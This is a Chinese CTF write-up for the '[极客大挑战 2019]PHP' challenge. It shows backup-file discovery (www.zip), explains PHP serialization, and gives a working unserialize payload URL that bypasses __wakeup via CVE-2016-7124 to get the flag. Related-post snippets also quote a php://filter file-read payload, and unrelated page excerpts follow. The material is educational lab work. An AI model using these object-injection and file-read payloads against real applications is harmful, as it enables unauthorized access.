进入后提示我们网页有备份文件,这边使用爆破工具,网页会down掉



随便随便猜了一下www.zip,成功下载源码

常见的网页备份有

.git
~
.swp .swo
.bak
.zip

还不知道是什么题目,解压www.zip



发现一些文件,挨个查看,首先查看flag.php,可以并没有flag

<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

查看index.php源码

<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<title>I have a cat!</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<link rel="stylesheet" href="style.css">
</head>
<style>
#login{
position: absolute;
top: 50%;
left:50%;
margin: -150px 0 0 -150px;
width: 300px;
height: 300px;
}
h4{
font-size: 2em;
margin: 0.67em 0;
}
</style>
<body> <div id="world">
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
</div>
<div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script src="index.js"></script>
</body>
</html>

在后半部分中,可以看到使用$_GET方法获取了select传参,并对select传参进行了unserialize()函数,这边研究了一下简单的反序列化。

什么是反序列化呢?

为了PHP中,数据类的传输,采用了序列化方式传输;

序列化就是将一个类或者方法或者字符串转换为一段有规律的字符串,然后反序列化就是将这段字符串再次转换为类或者方法。

可以看一个示例:



注意这里分序列化后的字符串

O:4:"Name":2:{s:8:"username";s:8:"Junglezt";s:14:"Namepassword";s:3:"226";}
O 代表是一个对象
4 对象名称的长度为4
"Name" 对象的名称 2 一共有两个属性 s 该属性名为字符串类型
8 该属性名的长度为8
"username" 该属性名的内容
s 该属性值为字符串类型
8 该属性值得长度为8
"Junglezt" 该属性值得内容 s 该属性名为字符串类型
14 该属性名的长度为14
"Namepassword" 该属性名的内容 这里需要注意:指定的长度为14,但是这里Namepassword一共12个字符,因为private的特性会类名左右加入%00,%00为特殊编码,在浏览器中显示不出来。
s 该属性值为字符串类型
3 该属性值得长度为3
"226" 该属性值内容

这边简单了解了一下反序列化

回过来,继续查看class.php

<?php
include 'flag.php'; // 关闭所有报错报告
error_reporting(0); // 定义一个类 Name
class Name{
// 定义私有值(private) username 和 password
// 私有值在序列化时,会在类名左右加入%00
private $username = 'nonono';
private $password = 'yesyes'; // 使用一个魔术方法 __construct
// __construct 在对象被 new 时会触发
// 被 new 时,将默认的username和password替换
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
} // 使用一个魔术方法 __wakeup()
// 在被反序列化时将 username值改为 guest
function __wakeup(){
$this->username = 'guest';
} // __destruct在对象被销毁,程序结束时执行
function __destruct(){
// password等于100,否则会结束执行
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
// 如果 username==admin,就打印flag
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die(); }
}
}
?>

这里简单分析了一下代码,只有password=100还有username=admin的时候才可以得到flag。不过这里有好有坏。

好的是可以通过__construct魔术方法,在实例化对象的时候,更改username和password的值,但这里wakeup坏了我们的好事,

__wakeup魔术方法在反序列化的时候会将useranme的值改为guest,这样就获取不到flag,password并不会修改。

所以这里如何绕过__wakeup 函数呢?

看了大佬的文档,__wakeup魔术方法存在一个漏洞,代号为:CVE-2016-7124

将Object中表示数量的字段改成比实际字段大的值即可绕过wakeup函数。条件:PHP5 < 5.6.25,PHP7 < 7.0.10,或者PHP 7.3.4

这样就可以绕过__wakeup魔术方法的执行,这就试试

首选我们需要定义一个和题目中一样的类型,然后其中的值也是私有类型,并且变量名也一样,改为可以得到flag的值username=admin 、 password=100,代码如下

<?php 

class Name{
private $username="admin";
private $password="100";
}
$new = new Name(); $ser = serialize($new);
echo $ser;
?>



复制上述获取的序列化字符串

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

这里是不对的,需要手动加上%00,为了绕过__wakeup,将成员符改为3,默认为2,两个属性。

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

payload为

/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

提交得到flag



收获:

反序列化的简单概念
private 私有方法,在进行序列化时会在属性名中加入类名,并且类名左右会有%00特殊字符
__wakeup 魔术方法在反序列化时执行,(成员符大于默认值时可以绕过__wakeup魔术方法)
__construct 魔术方法在对象被new(实例化)时执行
__destruct 魔术方法在对象被销毁,程序结束时执行

[极客大挑战 2019]PHP 1的更多相关文章

  1. BUUOJ [极客大挑战 2019]Secret File

    [极客大挑战 2019]Secret File 0X01考点 php的file伪协议读取文件 ?file=php://filter/convert.base64-encode/resource= 0X ...

  2. [原题复现][极客大挑战 2019]BuyFlag

    简介  原题复现:[极客大挑战 2019]BuyFlag  考察知识点:php函数特性(is_numeric().strcmp函数())  线上平台:https://buuoj.cn(北京联合大学公开 ...

  3. BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf)+[极客大挑战 2019]LoveSQL(联合注入)

    BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf) 记一道联合注入的题,这道题存在过滤. 经过手工的测试,网站会检验用户名和密码是否都存在,如果在用户名处插入注入语句,语句后面 ...

  4. 极客大挑战2019 http

    极客大挑战 http referer 请求头 xff 1.查看源码,发现secret.php 2.提示要把来源改成Sycsecret.buuoj.cn,抓包,添加Referer Referer:htt ...

  5. [BUUOJ记录] [极客大挑战 2019]RCE ME

    前面考察取反或者异或绕过,后面读Flag那里我用脏方法过了,没看出来考察啥 进入题目给出源码: <?php error_reporting(0); if(isset($_GET['code']) ...

  6. [极客大挑战 2019]FinalSQL

    0x00 知识点 盲注 0x01 解题 根据题目提示盲注,随便点几下找到注入点 发现我们输入^符号成功跳转页面,证明存在注入 1^(ord(substr((select(group_concat(sc ...

  7. BUUCTF [极客大挑战 2019]Not Bad

    总的来说这是一个64位orw的题 开头先在主函数里分配了一个很大的空间 1 __int64 __fastcall main(int a1, char **a2, char **a3) 2 { 3 mm ...

  8. 极客大挑战 2019 web 部分解

    复现环境:buuoj 0x01:Havefun F12查看源码,明显html注释里是一段php get方式传参数,payload:http://f5cdd431-df98-487f-9400-e8d0 ...

  9. [极客大挑战 2019]HardSQL

    0x00 知识点 报错注入 链接: https://www.cnblogs.com/richardlee97/p/10617115.html 报错原因: 其原因主要是因为虚拟表的主键重复.按照MySQ ...

  10. [极客大挑战 2019]Upload

    0x00 知识点 一个常规上传题目,知识点全都来自前几天写的文章: https://www.cnblogs.com/wangtanzhi/p/12243206.html 1:某些情况下绕过后缀名检测: ...

随机推荐

  1. jmeter非GUI模式之jtl文件解析

    我们知道非GUI模式的方式执行完成jmeter后,会生成jtl文件,里面打开后就是一行行的测试结果, <httpSample t="1" lt="1" t ...

  2. 完整的javaweb文档

    1.index.jsp <%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8&qu ...

  3. 055_Lightning Lightning 组件基础知识

    Lightning框架简介 Lightning框架是Salesforce提供的一套基于用户界面的开发框架,对于开发单页面应用(Single Page Application)有很大的帮助.它和Visu ...

  4. 在安装SDK8.1和Visual Studio 2017时,提示“已停止工作”

    解决办法:在微软官网下载 .net framework 的最新的开发包(Build apps - Dev Pack),重新安装后问题得到解决. https://dotnet.microsoft.com ...

  5. NSSM 软件参数使用教程

    NSSM 一款可以自定义为软件安装守护进程的软件 NSSM: The non-sucking service manager Version 2.24-101-g897c7ad 64-bit, 201 ...

  6. AJAX-动力节点

    AJAX(Asynchronous Javascript And Xml) 传统请求及缺点 传统的请求都有哪些? 直接在浏览器地址栏上输入URL. 点击超链接 提交form表单 使用JS代码发送请求 ...

  7. 20192305 王梓全Python程序设计实验四报告

    20192305 王梓全Python程序设计实验四报告 课程:<Python程序设计> 班级: 1923 姓名: 王梓全 学号:20192305 实验教师:王志强 实验日期:2021年6月 ...

  8. linux火狐添加flash插件

    从官网上 adobe flash player 全版本通用安装  找到 linux 版本的 .gz 包, 复制下载链接 linux命令 su - cd /tmp wget -P /tmp https: ...

  9. SAP ABAP 验证与替代

    1.校验与替代的作用 校验(Validation):在凭证保存前根据设置条件判断此凭证是否有效,其中可以按抬头.行项目或完全凭证来判断,然后再根据Validation设置的消息类型决定凭证是否允许保存 ...

  10. Windows系统更改/迁移用户目录

    系统盘为C盘,C盘空间不足,C盘太满了,C盘清理时查看发现C:\Users目录占用几十个GB,以下方法可将Users目录大部分空间转移. 1. 准备工作 更改/迁移用户目录之前先自行备份当前用户的资料 ...